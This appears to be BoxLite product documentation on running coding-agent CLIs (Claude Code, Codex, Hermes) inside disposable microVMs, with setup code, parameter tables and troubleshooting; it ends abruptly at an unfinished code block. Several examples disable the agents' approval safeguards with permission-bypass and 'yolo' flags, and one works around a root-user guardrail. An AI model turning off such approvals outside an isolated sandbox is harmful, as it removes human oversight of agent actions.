# Agent in a box Source: https://docs.boxlite.ai/agent-in-box/index Put a whole coding agent inside a microVM, where it can read, write, and execute freely without touching your host. The other pattern. In [Agent tools](/agent-tools/index) your agent runs on the host and reaches into a box; here the **agent itself runs inside the box**, and the box is its whole world. That trade is the point: the agent gets a real filesystem, a real shell, and real network access, and none of it is yours. Every page below installs one agent CLI, gives it credentials, and drives it — all verified end to end. ## In this section Anthropic's CLI, in a box where it can edit and execute freely. **The flagship.** OpenAI's Codex CLI, executing without host access. The Pi coding agent, reading and writing inside the box. OpenCode, with its provider configured without writing secrets to disk. Hermes from its official image — one-shot prompts or a session. ## Which page do I want? | You are asking | Page | | - | - | | Which agent should I start with? | [run claude code](/agent-in-box/run-claude-code) | | How do I give the agent an API key safely? | [secrets and security](/manage-sandbox/secrets-and-security) | | How do I stop the agent reaching the internet? | [network access](/manage-sandbox/network-access) | | How do I keep its work after the box is gone? | [volumes](/manage-sandbox/volumes) | # Run Claude Code Source: https://docs.boxlite.ai/agent-in-box/run-claude-code Install and drive the Claude Code CLI inside a microVM, where it can read, write, execute, and install freely without touching the host. The agent gets the freedom that `--dangerously-skip-permissions` implies, with the blast radius confined to a single-use VM. Each box is an independent rootfs and kernel, and `SkillBox` ships a noVNC desktop so you can watch it work. ## Prerequisites * A working BoxLite install (Python `boxlite` or Node `@boxlite-ai/boxlite`) and a machine with hardware virtualization — see [Installation](/getting-started/installation#platform-and-virtualization-requirements-common-to-all-sdks). * **Claude Code OAuth token**: `SkillBox` authenticates via the `CLAUDE_CODE_OAUTH_TOKEN` environment variable. * Run `claude setup-token` from an already-authenticated Claude Code CLI session to generate a long-lived token. * Then export it: ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} export CLAUDE_CODE_OAUTH_TOKEN="" # replace with your real token ``` > Without this token, `SkillBox` raises `ValueError` when entering the `async with` block (see Troubleshooting). *** ## Quick Example (Minimal Happy Path) Minimal code: enter a `SkillBox`, ask a single question, and read the answer. The first `call()` automatically installs the Claude CLI and its dependencies inside the box (this takes a few minutes), and they are reused afterward. ```python Python theme={"theme":{"light":"github-light","dark":"github-dark"}} # pip install boxlite # export CLAUDE_CODE_OAUTH_TOKEN="" # replace with your real token import asyncio import os import boxlite async def main() -> None: # Explicit check to surface a helpful hint (SkillBox also validates internally and raises ValueError if missing) if not os.environ.get("CLAUDE_CODE_OAUTH_TOKEN"): raise SystemExit("Please export CLAUDE_CODE_OAUTH_TOKEN= first") try: # SkillBox is an async context manager; token defaults to reading CLAUDE_CODE_OAUTH_TOKEN async with boxlite.SkillBox() as box: print(f"Box ID: {box.id}") # The first call() lazily installs the Claude CLI, bash, git, python (takes a while) answer = await box.call("What is 2 + 2? Just give the number.") print("Claude:", answer) except ValueError as e: # For example, a missing OAuth token print("Configuration error:", e) except RuntimeError as e: # For example, no virtualization, image pull failure print("Runtime error:", e) if __name__ == "__main__": asyncio.run(main()) ``` ```typescript Node.js theme={"theme":{"light":"github-light","dark":"github-dark"}} // npm install @boxlite-ai/boxlite // export CLAUDE_CODE_OAUTH_TOKEN="" // replace with your real token import { SkillBox } from "@boxlite-ai/boxlite"; async function main(): Promise { const token = process.env.CLAUDE_CODE_OAUTH_TOKEN; if (!token) { console.error("Please export CLAUDE_CODE_OAUTH_TOKEN= first"); process.exit(1); } // SkillBox supports await using (asyncDispose); cleans up automatically when leaving scope const box = new SkillBox({ oauthToken: token }); try { await box.start(); // The first call() installs the Claude CLI and dependencies inside the box const answer = await box.call("What is 2 + 2? Just give the number."); console.log("Claude:", answer); } catch (err) { // Missing token / no virtualization / image pull failure, etc. console.error("Run failed:", err instanceof Error ? err.message : err); } finally { await box.stop(); } } main(); ``` > Multi-turn conversation: call `call()` repeatedly on the same box. Claude retains context within the same session. ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} async with boxlite.SkillBox() as box: await box.call("My name is Alice and I work with Python and Rust.") # Same session; Claude remembers the prior context print(await box.call("What do you know about me? Be brief.")) ``` *** ## Parameters and Returns ### `SkillBox(...)` Constructor Parameters (Python) Source: `sdks/python/boxlite/skillbox.py`. The Node equivalents are listed below. | Parameter | Type | Required | Default | Description | | - | - | - | - | - | | `skills` | `list[str]` | Optional | `None` | Skill IDs installed on the first `call()`, in the form `["anthropics/skills"]` (owner/repo) | | `oauth_token` | `str` | Optional\* | reads `CLAUDE_CODE_OAUTH_TOKEN` | Claude OAuth token. \*At least one of the parameter or the env var must be set, otherwise entering the context raises `ValueError` | | `name` | `str` | Optional | `"skill-box"` | Box name, used for persistence and reuse | | `image` | `str` | Optional | `ghcr.io/boxlite-ai/boxlite-skillbox:0.1.0` | Image bundling the AI CLI + noVNC desktop | | `rootfs_path` | `str` | Optional | `None` | Path to a local OCI image layout directory (the on-disk form of a container image); an alternative to `image` | | `memory_mib` | `int` | Optional | `4096` | Memory (MiB) | | `disk_size_gb` | `int` | Optional | `10` | Disk (GB) | | `gui_http_port` | `int` | Optional | `0` (random port) | Host port mapped to noVNC HTTP | | `gui_https_port` | `int` | Optional | `0` (random port) | Host port mapped to noVNC HTTPS | | `auto_remove` | `bool` | Optional | `True` | Remove the box on exit; set to `False` to reuse across sessions and skip reinstallation | | `runtime` | `Boxlite` | Optional | `None` (uses the global default runtime) | Custom runtime instance | > Node's `SkillBoxOptions` uses camelCase field names: `skills`, `oauthToken`, `name`, `image`, `memoryMib`, `diskSizeGb`, `guiHttpPort`, `guiHttpsPort`, `autoRemove`, and so on. ### `SkillBox` Methods | Method | Signature | Returns | Description | | - | - | - | - | | `call` | `await box.call(prompt: str)` | `str` | Send one message; returns Claude's final answer text. Multiple calls on the same box form a multi-turn conversation | | `install_skill` | `await box.install_skill(skill_id: str)` | `bool` | Install a skill (`owner/repo`) at runtime; returns `True` on success | | `wait_until_ready` | `await box.wait_until_ready(timeout: int = 60)` | `None` | Wait for the noVNC desktop to be ready (call before using computer-use tools); raises `TimeoutError` on timeout | | `info` | `box.info()` | `BoxInfo` | **Synchronous** (do not await). `info.name` / `info.memory_mib` / `info.image` / `info.state.status` | | Properties | `box.id` / `box.gui_http_port` / `box.gui_https_port` | — | Box ID and host-side noVNC ports | > `SkillBox` inherits from `SimpleBox`, so it also has the common methods `exec(...)`, `copy_in/copy_out(...)`, `start/stop()`, and others. ### Watching Claude Work in a Browser (noVNC) ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} async with boxlite.SkillBox() as box: await box.wait_until_ready() # Wait for the desktop to come up # Open the address below to watch the agent operate the desktop in real time print(f"Desktop: https://localhost:{box.gui_https_port}") print(await box.call("Open a text editor and write hello.txt")) ``` *** ## Advanced: Manually Installing Claude Code into a `SimpleBox` If you need to choose your own base image, authenticate with an API key instead of OAuth, or use the stream-json protocol for fine-grained control, skip `SkillBox` and install `claude` into a plain box yourself. Three constraints shape this path, and all three will bite you if you skip them: | Constraint | Why | What to do | | - | - | - | | The CLI refuses to run permission-bypass mode as root | A guardrail in Claude Code itself: `--dangerously-skip-permissions cannot be used with root/sudo privileges` | Create a non-root user in the box and pass `user=` to `exec` | | A global npm install needs more disk than the default | `npm install -g` on a slim Node image exhausts the default box disk with `ENOSPC` | `SimpleBox(..., disk_size_gb=20)` | | `claude -p` waits on stdin | With no pipe attached, the CLI blocks | Append `< /dev/null` to the command | ### Python (API-key mode, non-root) Point the CLI at any Anthropic-compatible endpoint with environment variables — no OAuth login, which makes this the practical choice for CI and unattended runs. ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} import asyncio from boxlite import SimpleBox BASE_URL = "" # e.g. https://api.anthropic.com, or your own gateway API_KEY = "" # an API key for that endpoint, not an OAuth token MODEL = "" # a model the endpoint serves async def run(box, *cmd, env=None, user=None, timeout=None): result = await box.exec(*cmd, env=env, user=user, timeout=timeout) # exec does not raise on a non-zero exit — check it yourself if result.exit_code != 0: raise RuntimeError(f"`{' '.join(cmd)}` failed (exit={result.exit_code}): {result.stderr}") return result async def main() -> None: try: # disk_size_gb=20 leaves room for the global npm install async with SimpleBox(image="node:20-slim", memory_mib=2048, disk_size_gb=20) as box: await run(box, "npm", "install", "-g", "@anthropic-ai/claude-code", timeout=600.0) version = await run(box, "claude", "--version") print("installed:", version.stdout.strip()) # The CLI will not bypass permissions as root — create a user for it await run(box, "sh", "-c", "useradd -m -s /bin/bash agent && mkdir -p /home/agent/work && " "chown -R agent:agent /home/agent") cli_env = { "ANTHROPIC_BASE_URL": BASE_URL, "ANTHROPIC_AUTH_TOKEN": API_KEY, # used by most compatible gateways "ANTHROPIC_API_KEY": API_KEY, # used by the official API "ANTHROPIC_MODEL": MODEL, "PATH": "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", "HOME": "/home/agent", } # < /dev/null closes stdin so the CLI does not wait for piped input answer = await run( box, "sh", "-c", "cd /home/agent/work && claude -p " "\"Create a file hello.txt containing the line 'hello from box', " "then explain in one sentence what you did.\" " f"--permission-mode bypassPermissions --model {MODEL} < /dev/null", env=cli_env, user="agent", timeout=300.0, ) print(answer.stdout) # Confirm the agent really wrote the file inside the box check = await run(box, "sh", "-c", "cat /home/agent/work/hello.txt") print(check.stdout) except RuntimeError as exc: print(f"runtime error: {exc}") if __name__ == "__main__": asyncio.run(main()) ``` Verified inside a box on macOS (Apple Silicon) against an Anthropic-compatible endpoint: `claude --version` reported **2.1.197**, the prompt ran as the non-root `agent` user under `--permission-mode bypassPermissions`, and the file the agent was asked to create was readable back from inside the box. > **Pointing the CLI at a compatible endpoint.** Claude Code takes its endpoint from > environment variables, so `ANTHROPIC_BASE_URL` plus `ANTHROPIC_AUTH_TOKEN` is all it > needs to talk to an Anthropic-compatible gateway. That is not true of every agent CLI: > [Pi](/agent-in-box/run-pi) and [OpenCode](/agent-in-box/run-opencode) ignore those variables and require a > provider entry in their own configuration instead. ### Python (OAuth mode) The example below uses `node:20-alpine` + npm to install and authenticates with an OAuth token instead. ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} # pip install boxlite # export CLAUDE_CODE_OAUTH_TOKEN="" # replace with your real token import asyncio import os import boxlite OAUTH_TOKEN = os.environ.get("CLAUDE_CODE_OAUTH_TOKEN", "") async def main() -> None: if not OAUTH_TOKEN: raise SystemExit("Please export CLAUDE_CODE_OAUTH_TOKEN= first") # SimpleBox: use a plain image and inject the token as an environment variable. # Constructor env is a list of (key, value) tuples — exec's env is a dict. box = boxlite.SimpleBox( image="node:20-alpine", memory_mib=2048, name="claude-box", auto_remove=False, # Persist to avoid reinstalling each time env=[("CLAUDE_CODE_OAUTH_TOKEN", OAUTH_TOKEN)], ) try: async with box: # 1) Install the Claude Code CLI (a non-zero exit code does not raise; check exit_code yourself) install = await box.exec( "npm", "install", "-g", "@anthropic-ai/claude-code", timeout=600.0, # SimpleBox.exec timeout parameter is named timeout (float, seconds) ) if install.exit_code != 0: raise RuntimeError(f"Failed to install Claude CLI: {install.stderr}") # 2) Verify the installation version = await box.exec("claude", "--version") print("Installed:", version.stdout.strip()) # 3) Single-shot prompt (--print makes claude exit after running and print the result directly) ask = await box.exec( "claude", "--print", "--dangerously-skip-permissions", "What is the capital of France? One word.", timeout=120.0, ) if ask.exit_code != 0: raise RuntimeError(f"Claude execution failed: {ask.stderr}") print("Claude:", ask.stdout.strip()) except RuntimeError as e: # Image pull failure / no virtualization / missing command all surface as a standard RuntimeError print("Runtime error:", e) if __name__ == "__main__": asyncio.run(main()) ``` ### Multi-Turn Conversation: the stream-json Protocol (Low-Level `Box.exec`) `SkillBox.call()` internally implements multi-turn through Claude's bidirectional `stream-json` protocol. The key points when implementing it yourself: * Start: `claude --input-format stream-json --output-format stream-json --verbose` (add `--dangerously-skip-permissions` for agent mode). * Write: write one line of JSON to `execution.stdin()`: `{"type":"user","message":{"role":"user","content":...},"session_id":...}`. * Read: read **chunks** (not lines) from `execution.stdout()`; buffer them yourself, split on `\n`, and `json.loads` line by line until you receive `{"type":"result"}`. * Multi-turn: take the `session_id` from the response and carry it into the next message. ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} # Low-level handle path: the native Box returned by runtime.create(...) (note: exec uses list-form args/env) import asyncio, json import boxlite from boxlite import BoxOptions async def chat_once(box, stdin, stdout, content, session_id="default"): msg = { "type": "user", "message": {"role": "user", "content": content}, "session_id": session_id, "parent_tool_use_id": None, } await stdin.send_input((json.dumps(msg) + "\n").encode()) buffer, responses, new_session = "", [], session_id try: while True: chunk = await asyncio.wait_for(stdout.__anext__(), timeout=120) buffer += chunk.decode("utf-8", "replace") if isinstance(chunk, bytes) else chunk while "\n" in buffer: line, buffer = buffer.split("\n", 1) line = line.strip() if not line: continue parsed = json.loads(line) responses.append(parsed) if parsed.get("session_id"): new_session = parsed["session_id"] if parsed.get("type") == "result": raise StopAsyncIteration except (asyncio.TimeoutError, StopAsyncIteration): pass result = next((r for r in responses if r.get("type") == "result"), None) return (result.get("result", "") if result else ""), new_session # Usage shown above: runtime = boxlite.Boxlite.default(); box = await runtime.create(BoxOptions(...)); # execution = await box.exec("claude", [..stream-json flags..], [("CLAUDE_CODE_OAUTH_TOKEN", token)]) ``` > For complete, runnable multi-turn / interactive examples, see the repository files `examples/python/06_ai_agents/chat_with_claude.py` and `examples/node/claude_in_boxlite.js`. *** ## Troubleshooting (Symptoms and Real Errors) | Symptom / error | Cause | Fix | | - | - | - | | `--dangerously-skip-permissions cannot be used with root/sudo privileges` | A Claude Code guardrail: permission-bypass mode refuses to run as root | Create a non-root user in the box and pass `user="agent"` to `exec` | | `npm install -g` fails with `ENOSPC: no space left on device` | The default box disk is too small for a global Node install | `SimpleBox(..., disk_size_gb=20)` | | `claude -p` hangs, or reports no stdin data | The CLI is waiting for piped input | Append `< /dev/null` to the command | | The CLI returns a 401 or an authentication error | The endpoint variables never reached the CLI, or the endpoint is not Anthropic-compatible | Inject `ANTHROPIC_BASE_URL` and `ANTHROPIC_AUTH_TOKEN` (plus `ANTHROPIC_API_KEY` for the official API) through `exec(env=...)` | | `ValueError: OAuth token required. Set CLAUDE_CODE_OAUTH_TOKEN env var or pass oauth_token parameter.` | Entering `SkillBox` with neither the env var set nor `oauth_token` passed | `export CLAUDE_CODE_OAUTH_TOKEN=...` or `SkillBox(oauth_token="...")` | | Virtualization-related error on box startup / the process stays alive but the box cannot start | The current machine has no hardware virtualization (Linux without KVM, or `/dev/kvm` not passed through inside a container) | Use Linux+KVM or macOS; WSL2 needs KVM enabled and the user in the `kvm` group. This is an environment constraint; catch it with `try/except RuntimeError` | | `RuntimeError` (image pull failure / network blip) | Failure pulling `ghcr.io/boxlite-ai/boxlite-skillbox` or the base image | Check network/registry reachability and retry. Note: a pull failure raises a standard `RuntimeError` (**not** a `BoxliteError` subclass) | | `exec("claude", ...)` returns `exit_code != 0` but does not raise | BoxLite's `exec` **does not raise** on a non-zero exit; it returns the result | After the call, check `result.exit_code`, then inspect `result.stderr`. This is intended behavior | | Missing command (e.g. calling `claude` before installing it) raises a **plain `Error`** / `RuntimeError`, with `instanceof BoxliteError === false` | A missing executable is a low-level spawn failure | Install first and verify with `claude --version`; catch the generic `RuntimeError`/`Error`, not only `BoxliteError` | | The first `call()` takes a long time | The first call runs `apt-get` inside the box and installs the Claude CLI/git/python | This is expected; set `auto_remove=False` + a fixed `name` to reuse the box and skip installation on the second start | | Context lost across `SkillBox` multi-turn calls | Sessions are not persisted across different `async with` sessions | Multi-turn requires consecutive `call()`s on the **same** box instance; across sessions only dependencies are reused, not conversation context | | Writing the security option as `SkillBox(security=...)` raises an error | There is no top-level `security=` keyword | Security options go through `advanced`: `BoxOptions(advanced=AdvancedBoxOptions(security=SecurityOptions.maximum()))`, with \`from boxlite import AdvancedBoxOptions | *** ## Related Reading * [Box types](/manage-sandbox/sandbox-types) — `SimpleBox` / `CodeBox` / `SkillBox` and more * [Manage Sandbox Lifecycle](/manage-sandbox/lifecycle) — `create` / `get_or_create` / `list_info` / `remove` * [Secrets and Security](/manage-sandbox/secrets-and-security) — inject credentials for the agent, tighten isolation ## A tour of the agent-in-a-box shapes Moved here from the section index, which is now a summary and an index. ### Python: Run a complete agent inside a Box with SkillBox (simplest path) ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} import asyncio import os from boxlite import SkillBox async def main(): # SkillBox requires a Claude Code OAuth token. # Read from the environment variable first; may also pass oauth_token=... if not os.environ.get("CLAUDE_CODE_OAUTH_TOKEN"): # Without a token, entering async with raises ValueError; surface a helpful hint early print("Please set it first: export CLAUDE_CODE_OAUTH_TOKEN=") return try: # Image defaults to boxlite-skillbox; no need to pass image # auto_remove defaults to True: exiting async with cleans up the entire VM async with SkillBox() as skill_box: # id is a property; info() must be awaited print("Box ID:", skill_box.id) # The first call() triggers lazy installation (Claude CLI / bash / git / python) # call(prompt) returns Claude's final reply (str) answer = await skill_box.call("What is 2 + 2? Just give the number.") print("Claude:", answer) # Multi-turn conversation: context is maintained automatically within the same SkillBox session await skill_box.call("My name is Alice.") who = await skill_box.call("What is my name? One word.") print("Claude:", who) except ValueError as e: # For example, a missing oauth_token print("Configuration error:", e) except RuntimeError as e: # Image pull failure / no hardware virtualization, etc. raise a standard RuntimeError (not BoxliteError) print("Startup or pull failed:", e) asyncio.run(main()) ``` ### Pre-install skill packs for the agent ```python Python theme={"theme":{"light":"github-light","dark":"github-dark"}} import asyncio import os from boxlite import SkillBox async def main(): if not os.environ.get("CLAUDE_CODE_OAUTH_TOKEN"): print("Please set it first: export CLAUDE_CODE_OAUTH_TOKEN=") return try: # skills are installed alongside the Claude CLI on the first call() async with SkillBox(skills=["anthropics/skills"]) as skill_box: answer = await skill_box.call("List the top 3 skills you have, briefly.") print(answer) # A skill can also be installed manually at runtime; returns a bool indicating success ok = await skill_box.install_skill("anthropics/skills") print("install_skill ->", ok) except (ValueError, RuntimeError) as e: print("Failed:", e) asyncio.run(main()) ``` ```typescript Node.js theme={"theme":{"light":"github-light","dark":"github-dark"}} // Package name is @boxlite-ai/boxlite (not 'boxlite', not '@boxlite/sdk') import { SkillBox } from "@boxlite-ai/boxlite"; async function main(): Promise { if (!process.env.CLAUDE_CODE_OAUTH_TOKEN) { console.error("Please set it first: export CLAUDE_CODE_OAUTH_TOKEN="); return; } try { // await using: at end of scope, cleans up automatically per autoRemove (default true) by calling stop() // Note: Node's SkillBox does not auto-start() on construction or await using; // you must explicitly await skillBox.start(), otherwise call() throws "SkillBox not started." await using skillBox = new SkillBox(); await skillBox.start(); // The first call() triggers lazy installation; returns Claude's reply (string) const answer = await skillBox.call("What is 2 + 2? Just give the number."); console.log("Claude:", answer); } catch (e) { // On Node, a missing token makes start() throw a plain Error("OAuth token required..."); // pull failure / no virtualization also throw a plain Error (instanceof BoxliteError === false) console.error("Failed:", e); } } main(); ``` ### Python: Build your own Box for full control over the Claude CLI (advanced) When you need to choose your own image, customize CLI flags, or drive the stream-json protocol directly for multi-turn sessions, use the low-level `Box` to run `claude` yourself. Below is a minimal, self-contained skeleton (for the full protocol details, see the repository example `examples/python/06_ai_agents/chat_with_claude.py`). ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} import asyncio import json import os import boxlite async def main(): token = os.environ.get("CLAUDE_CODE_OAUTH_TOKEN", "") if not token: print("Please set it first: export CLAUDE_CODE_OAUTH_TOKEN=") return try: with boxlite.Boxlite.default() as runtime: from boxlite import BoxOptions options = BoxOptions( image="node:20-alpine", memory_mib=2048, disk_size_gb=5, auto_remove=False, # Persist to reuse the already-installed CLI # The native Box env is list[tuple[str, str]] (note: not a dict) env=[("CLAUDE_CODE_OAUTH_TOKEN", token)], ) # runtime.get_or_create returns an awaitable through the wrapper layer box, _created = await runtime.get_or_create(options, name="claude-box") async with box: # Install the Claude Code CLI (native Box.exec returns an Execution; await wait()) install = await box.exec( "npm", ["install", "-g", "@anthropic-ai/claude-code"], None ) result = await install.wait() if result.exit_code != 0: print("Failed to install Claude CLI") return # Start Claude with the stream-json protocol and take over stdin/stdout yourself proc = await box.exec( "claude", ["--input-format", "stream-json", "--output-format", "stream-json", "--verbose"], [("CLAUDE_CODE_OAUTH_TOKEN", token)], ) stdin = proc.stdin() stdout = proc.stdout() msg = { "type": "user", "message": {"role": "user", "content": "Say OK."}, "session_id": "default", "parent_tool_use_id": None, } await stdin.send_input((json.dumps(msg) + "\n").encode()) # Read and parse NDJSON until a type=="result" message arrives buffer = "" while True: chunk = await asyncio.wait_for(stdout.__anext__(), timeout=120) buffer += chunk.decode() if isinstance(chunk, bytes) else chunk while "\n" in buffer: line, buffer = buffer.split("\n", 1) if not line.strip(): continue parsed = json.loads(line) if parsed.get("type") == "result": print("Claude:", parsed.get("result", "")) await stdin.close() await proc.wait() return except RuntimeError as e: print("Startup or pull failed:", e) asyncio.run(main()) ``` *** # Run Codex Source: https://docs.boxlite.ai/agent-in-box/run-codex Install and drive the OpenAI Codex CLI inside a microVM, so the agent can execute freely while the blast radius stays inside a disposable VM. Codex ships its own sandbox for model-generated commands, and its most permissive switch is documented as "intended solely for running in environments that are externally sandboxed". A box is exactly that environment. ## Prerequisites * The `boxlite` Python package and a machine with hardware virtualization — see [Installation](/getting-started/installation#platform-and-virtualization-requirements-common-to-all-sdks). * An OpenAI API key, or a ChatGPT plan you can log into. * **A glibc-based image.** Codex publishes prebuilt binaries as optional dependencies for `linux-x64` and `linux-arm64` only. `node:20-slim` is verified working: installed inside a box in about **22 s**, after which `codex --version` reports `codex-cli 0.147.0`. Musl images such as `node:alpine` have no matching binary. * **System CA certificates in the image.** Slim images ship without them, and Codex needs them to reach any API over TLS. Install `ca-certificates` before the first prompt — the Quick Example does this in step 1. See [Why a slim image needs `ca-certificates`](#why-a-slim-image-needs-ca-certificates) for why this failure is easy to misdiagnose. ## Quick Example Install the CLI, authenticate from stdin, and run one non-interactive prompt. ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} import asyncio from boxlite import SimpleBox API_KEY = "" # TODO: read from your own secret store async def run(box, *cmd, env=None, user=None, timeout=None): result = await box.exec(*cmd, env=env, user=user, timeout=timeout) # exec does not raise on a non-zero exit — check it yourself if result.exit_code != 0: raise RuntimeError(f"`{' '.join(cmd)}` failed (exit={result.exit_code}): {result.stderr}") return result async def main() -> None: try: # glibc image; disk_size_gb leaves room for the global install and its binary async with SimpleBox(image="node:20-slim", memory_mib=2048, disk_size_gb=8) as box: # 1) Install system CA certificates. Slim images have none, and Codex is a # Rust binary that reads the system trust store — without this, every # model call fails at the TLS handshake. await run(box, "sh", "-c", "apt-get update -qq && apt-get install -y -qq ca-certificates", timeout=300.0) # 2) Install the CLI await run(box, "npm", "install", "-g", "@openai/codex", timeout=600.0) version = await run(box, "codex", "--version") print(version.stdout.strip()) # 3) Authenticate. `codex login --with-api-key` reads the key from stdin, # so the key never appears in the command line or the process list. await run(box, "sh", "-c", 'printenv OPENAI_API_KEY | codex login --with-api-key', env={"OPENAI_API_KEY": API_KEY}, timeout=120.0) # 4) One-shot prompt. --skip-git-repo-check is needed because the working # directory in a fresh box is not a git repository. answer = await run( box, "sh", "-c", 'codex exec "Write a one-line Python snippet that reverses a string." ' '--skip-git-repo-check < /dev/null', timeout=300.0, ) print(answer.stdout) except RuntimeError as exc: print(f"runtime error: {exc}") if __name__ == "__main__": asyncio.run(main()) ``` Verified inside a box on macOS (Apple Silicon) against an OpenAI-compatible endpoint. `codex exec` echoes the exchange, then repeats the final answer: ```text theme={"theme":{"light":"github-light","dark":"github-dark"}} codex-cli 0.147.0 -------- user Reply with exactly: BOXLITE_IN_BOX_OK codex BOXLITE_IN_BOX_OK tokens used 16,470 ``` ## Why a slim image needs `ca-certificates` This one is worth knowing in advance, because the symptom points away from the cause. `node:20-slim` has no `/etc/ssl/certs/ca-certificates.crt`. Codex is a Rust binary that verifies TLS against the **system** trust store, so with no root certificates every model call dies at the handshake — surfacing as a transport error such as `stream disconnected before completion`, which reads like a network or endpoint problem rather than a missing file. Two things make it easy to misdiagnose: * **`npm install` still works.** Node ships its own bundled CA store, so installing the CLI and running `codex --version` both succeed. The failure appears only at the first prompt, long after the step that would have revealed it. * **Installing `curl` to test connectivity hides the problem.** `ca-certificates` is a dependency of `curl`, so the moment you install a tool to check the network, you have silently fixed the thing you were trying to diagnose — and the network test passes. Confirm it directly instead of inferring it from a failed request: ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} # Empty output and a non-zero exit mean the root certificates are missing check = await box.exec("ls", "-l", "/etc/ssl/certs/ca-certificates.crt") print(check.exit_code, check.stdout, check.stderr) ``` Images that already include the certificates — `node:20` (not `-slim`), `debian`, `ubuntu` — need no extra step. This applies to any agent CLI compiled as a native binary, not only Codex. ## Parameters and Returns From `codex --help` and `codex exec --help`: | Entry point | Meaning | | - | - | | `codex exec [PROMPT]` | Run non-interactively (alias `codex e`). With no prompt argument, the instructions are read from stdin | | `codex login --with-api-key` | Read the API key from **stdin** | | `codex login status` | Report the current credential, already masked | | `-m`, `--model ` | Model to use | | `-s`, `--sandbox ` | Codex's own sandbox policy: `read-only`, `workspace-write`, or `danger-full-access` | | `-C`, `--cd ` | Working directory | | `--skip-git-repo-check` | Do not require the working directory to be a git repository | | `--json` | Machine-readable output | ## Two sandboxes, one decision Codex sandboxes the commands its model generates, and BoxLite sandboxes the whole Codex process. Inside a box the inner sandbox is redundant for containment — the VM boundary already holds — so you can relax it and let the agent work without per-action prompts: ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} # The permissive switch is documented as "EXTREMELY DANGEROUS. Intended solely for # running in environments that are externally sandboxed" — which a box is. await run( box, "sh", "-c", 'codex exec "Refactor utils.py and run the tests." ' '--skip-git-repo-check --dangerously-bypass-approvals-and-sandbox < /dev/null', timeout=900.0, ) ``` Relaxing it means the agent can do anything the box can do. That is the point of running it in a box, and it is also why the box's own boundary matters: keep the network narrow and the credential outside if the task is not fully trusted — see [Secrets and hardening](/manage-sandbox/secrets-and-security). If you would rather keep Codex's own sandbox on, pass `-s workspace-write` instead and leave the bypass flag off. ## Keeping the API key out of the box Piping the key through `codex login --with-api-key` keeps it off the command line, but it still enters the sandbox. To keep the real value on the host, inject it at the proxy: the box sees a placeholder, and BoxLite substitutes the real value on outbound requests to the hosts you allow. ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} from boxlite import SimpleBox, Secret, NetworkSpec box = SimpleBox( image="node:20-slim", disk_size_gb=8, secrets=[Secret(name="openai", value="", hosts=["api.openai.com"])], network=NetworkSpec(mode="enabled", allow_net=["registry.npmjs.org", "api.openai.com"]), ) ``` Substitution covers request headers, the URL query string, and the request body — not the URL path. ## Troubleshooting | Symptom | Cause | Fix | | - | - | - | | `stream disconnected before completion`, or any TLS/transport error on the first prompt — while `npm install` and `codex --version` worked | The slim image has no system CA certificates; Codex verifies TLS against the system trust store | `apt-get install -y ca-certificates`, or use a non-slim image. See [Why a slim image needs `ca-certificates`](#why-a-slim-image-needs-ca-certificates) | | `Missing optional dependency @openai/codex-linux-*` after install | The image is musl-based (Alpine); Codex publishes glibc binaries only | Use `node:20-slim` or another glibc image | | `npm install -g` fails with `ENOSPC: no space left on device` | The default box disk is too small | `SimpleBox(..., disk_size_gb=8)` or larger | | `codex exec` complains the directory is not a git repository | Codex checks for one by default | Add `--skip-git-repo-check`, or `git init` the working directory | | The command hangs and never returns | Codex reads instructions from stdin when given no prompt argument, and waits for a login when it has no credential | Pass the prompt as an argument, append `< /dev/null`, and authenticate before the first `exec` | | The agent stops to ask for approval | Codex's own sandbox is active | Pass `-s workspace-write`, or `--dangerously-bypass-approvals-and-sandbox` when the box is your containment | | Authentication fails after install | `--with-api-key` reads stdin; a key passed as an argument is ignored | `printenv OPENAI_API_KEY \| codex login --with-api-key` | ## Related * [Run Pi](/agent-in-box/run-pi) — a CLI whose custom endpoints go through a config file rather than environment variables. * [Run Claude Code](/agent-in-box/run-claude-code) — the same pattern, plus `SkillBox` and a noVNC desktop. * [Run untrusted tools safely](/use-cases/untrusted-tool-execution) — narrowing network and privileges around an agent you do not trust. # Run Hermes Source: https://docs.boxlite.ai/agent-in-box/run-hermes Run the Hermes agent inside a microVM using its official image — one-shot prompts, or the messaging gateway behind a forwarded port. Hermes bundles its own Python runtime, tooling, and a supervised process tree, so there is nothing to install: point a box at the published image and it is ready. Its `--yolo` switch removes approval prompts, which is safe to use precisely because the box is the boundary. ## Prerequisites * The `boxlite` Python package and a machine with hardware virtualization — see [Installation](/getting-started/installation#platform-and-virtualization-requirements-common-to-all-sdks). * An API key for a provider Hermes supports. * Room for the image: it is roughly 900 MB, and a 12 GB box disk measured **26% used** after it unpacked. The first pull dominates start-up time. ## Quick Example One non-interactive prompt. `-z` takes the prompt and exits; `--yolo` skips the approval prompts that would otherwise block an unattended run. ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} import asyncio from boxlite import SimpleBox BASE_URL = "" # an Anthropic-compatible endpoint API_KEY = "" # TODO: read from your own secret store MODEL = "" async def main() -> None: try: async with SimpleBox( image="docker.io/nousresearch/hermes-agent:latest", memory_mib=4096, disk_size_gb=12, ) as box: result = await box.exec( "sh", "-c", f'hermes -z "Write a one-line Python snippet that reverses a string." ' f'--provider anthropic -m {MODEL} --yolo', env={ "ANTHROPIC_BASE_URL": BASE_URL, "ANTHROPIC_API_KEY": API_KEY, "ANTHROPIC_AUTH_TOKEN": API_KEY, }, timeout=420.0, ) # exec does not raise on a non-zero exit — check it yourself if result.exit_code != 0: print(f"hermes failed (exit={result.exit_code}): {result.stderr}") else: print(result.stdout.strip()) except RuntimeError as exc: print(f"runtime error: {exc}") if __name__ == "__main__": asyncio.run(main()) ``` Verified inside a box on macOS (Apple Silicon) against an Anthropic-compatible endpoint: the prompt returned `exit=0` with the answer on stdout. Allow generously for the first run — pulling and unpacking the image took the bulk of the elapsed time. ## What the image gives you Checked from inside a running box: ```text 